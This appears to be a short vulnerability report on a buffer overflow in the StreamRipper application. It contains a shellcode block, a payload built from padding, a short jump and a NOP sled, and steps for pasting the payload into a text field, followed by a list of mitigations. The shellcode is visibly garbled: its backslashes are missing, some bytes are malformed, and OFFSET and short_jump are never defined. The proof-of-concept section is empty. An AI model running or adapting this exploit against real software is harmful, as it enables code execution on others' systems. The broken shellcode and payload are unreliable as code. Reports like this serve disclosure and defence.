

# Vulnerability report

**Vulnerability Name** - Buffer overflow

**Vulnerability Description** - Buffers are memory storage regions that temporarily hold data while it is being transferred from one location to another. A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations.

**Vulnerability Application** - StreamRipper

**Payload** -

```
shellcode = ""
shellcode += "xdaxc7xbaxeex50x53xe0xd9x74x24xf4"
shellcode += "x5dx33xc9xb1x52x83xedxfc31x55x13"
shellcode += "x03xbbx43xb1x15xbfx8cxb7xd6x3fx4d"
shellcode += "xd8x5fxdax7cxd8x04xafx2fxe8x4fxfd"
shellcode += "xc3x83x02x15x57xe1x8ax1axd0x4cxed"
shellcode += "x15xe1xfdxcdx34x61xfc01x96x58xcf"
shellcode += "x57xd7x9dx32x95x85x76x38x08x39xf2"
shellcode += "x74x91xb2x48x98x91x27x18x9bxb0xf6"
shellcode += "x12xc2x12xf9xf7x7ex1bxe1x14xbaxd5"
shellcode += "x9axefx30xe4x4ax3exb8x4bxb3x8ex4b"
shellcode += "x95xf4x29xb4xe0x0cx4ax49xf3xcbx30"
shellcode += "x95x76xcfx93x5ex20x2bx25xb2xb7xb8"
shellcode += "x29x7fxb3xe6x2dx7ex10x9dx4ax0bx97"
shellcode += "x71xdbx4fxbcx55x87x14xddxccx6dxfax"
shellcode += "xe2x0excexa3x46x45xe3xb0xfax04x6c"
shellcode += "x74x37xb6x6cx12x40xc5x5exbdfax41"
shellcode += "xd3x36x25x96x14x6dx91x08xebx8exe2"
```

```
shellcode += "x01x28xdaxb2x39x99x63x59xb9x26xb6"  
shellcode += "xcexe9x88x69xafx59x69xdax47xb3x66"  
shellcode += "x05x77xbcxacx2ex12x47x27x91x4bx54"  
shellcode += "x36x79x8ex5ax39xc1x07xbcx53x25x4e"  
shellcode += "x17xccxdcxcbx3x6dx20xc6x8exaexaa"  
shellcode += "xe5x6fx60x5bx83x63x15xabxdexd9xb0"  
shellcode += "xb4xf4x75x5ex26x93x85x29x5bx0cxd2"  
shellcode += "x7exadx45xb6x92x94xffxa4x6ex40xc7"  
shellcode += "x6cxb5xb1xc6x6dx38x8dxecx7dx84x0e"  
shellcode += "xa9x29x58x59x67x87x1ex33xc9x71xc9"  
shellcode += "xe8x83x15x8cxc2x13x63x91x0exe2x8b"  
shellcode += "x20xe7xb3xb4x8dx6fx34xcdxf3x0fxb0"  
shellcode += "x04xb0x30x5ex8cxcdd8xc7x45x6cx85"  
shellcode += "xf7xb0xb3xb0x7bx30x4cx47x63x31x49"  
shellcode += "x03x23xaax23x1cxc6ccx90x1dxc3"
```

```
payload = 'A' * (OFFSET - len(short_jump))  
payload += short_jump  
payload += 'x90' * 8  
payload += shellcode
```

### **Steps of reproduce -**

- 1.) Install the Stream application
- 2.) Select any **User Interface Elements**
- 3.) Run the above code snippet it will develop a payload
- 4.) Copy the payload and submit in any of the text fields

**Impact -** A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the storage capacity of the memory buffer. If the transaction overwrites executable code, it can cause the program to behave unpredictably and generate incorrect results, memory access errors, or crashes.

### **Mitigation -**

- 1.) **Address space randomization (ASLR)**—Randomly moves around the address space locations of data regions. Typically, buffer overflow attacks need to know the locality of executable code, and randomizing address spaces makes this virtually impossible.
- 2.) **Data execution prevention**—Flags certain areas of memory as non-executable or executable, which stops an attack from running code in a non-executable region.
- 3.) **Structured exception handler overwrite protection (SEHOP)**—Helps stop malicious code from attacking Structured Exception Handling (SEH), a built-in system for managing hardware and software exceptions. It thus prevents an attacker from being able to make use of the SEH overwrite exploitation technique. At a functional level, an SEH overwrite is achieved using a stack-based buffer overflow to overwrite an exception registration record, stored on a thread's stack.

## POC -



